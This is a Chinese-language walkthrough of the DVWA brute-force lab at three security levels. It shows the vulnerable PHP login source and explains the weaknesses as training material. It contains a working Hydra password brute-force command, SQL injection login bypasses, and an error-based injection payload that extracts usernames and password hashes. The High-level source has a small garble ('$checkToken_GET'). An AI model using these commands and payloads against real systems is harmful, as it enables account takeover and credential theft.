Brute Force 暴力破解
爆破永远是最经典的,也是最有暴力美学的渗透方式。
low
源码:
if( isset( $_GET[ 'Login' ] ) ) {
# 获取用户名和密码
$user = $_GET[ 'username' ];
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
# 查询验证用户名和密码
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
if( $result && mysql_num_rows( $result ) == 1 ) {
# 输出头像和用户名
$avatar = mysql_result( $result, 0, "avatar" );
echo "<p>Welcome to the password protected area {$user}</p>";
}
else {
登录失败
}
mysql_close();
}
这一题中的问题有很多,解法也不止一种。因为安全等级是Low,也就不考虑太多,这里记录一下两种解法:
- 爆破(出题人推荐解法)
- SQL注入
解法1
这里我用的是Hydra
来爆破,Hydra[ˈhaɪdrə],原意九头蛇,是希腊神话中的怪兽。
参考命令:
hydra -l admin -P pass.txt -f 127.0.0.1 http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login#:Username and/or password incorrect.:H=Cookie: 35l9io0j22ej6j6umvc3g561u6; security=low"
解法2
该难度下的爆破题并没有对用户输入项进行过滤,那么考虑最简单的SQL注入
,万能密码:
admin' or '1'='1
或者从URL注入:
?username=admin'--+&password=111&Login=Login#
报错注入
该解法是在尝试SQL注入时,错误的输入了万能密码,导致报错mysql_error()
,于是就有了此解法。
Payload来自国光大佬:
?username=admin'+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(user,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)--+&password=111&Login=Login#
Medium
源码:
// 对用户名和密码进行了过滤
$user = $_GET[ 'username' ];
$user = mysql_real_escape_string( $user );
$pass = $_GET[ 'password' ];
$pass = mysql_real_escape_string( $pass );
$pass = md5( $pass );
// 验证用户名和密码
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
if( $result && mysql_num_rows( $result ) == 1 ) {
登录成功
}
else {
sleep( 2 );
登录失败
}
分析源码得知,这一难度下,针对用户输入进行了过滤,但还是可以继续爆破,所以沿用上一个难度的解法即可。
High
源码:
// 检测用户的 token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// 过滤用户名和密码
$user = $checkToken_GET[ 'username' ];
$user = stripslashes( $user );
$user = mysql_real_escape_string( $user );
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = mysql_real_escape_string( $pass );
$pass = md5( $pass );
// 数据匹配
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
if( $result && mysql_num_rows( $result ) == 1 ) {
登录成功
}
else {
sleep( rand( 0, 3 ) );
登录失败
}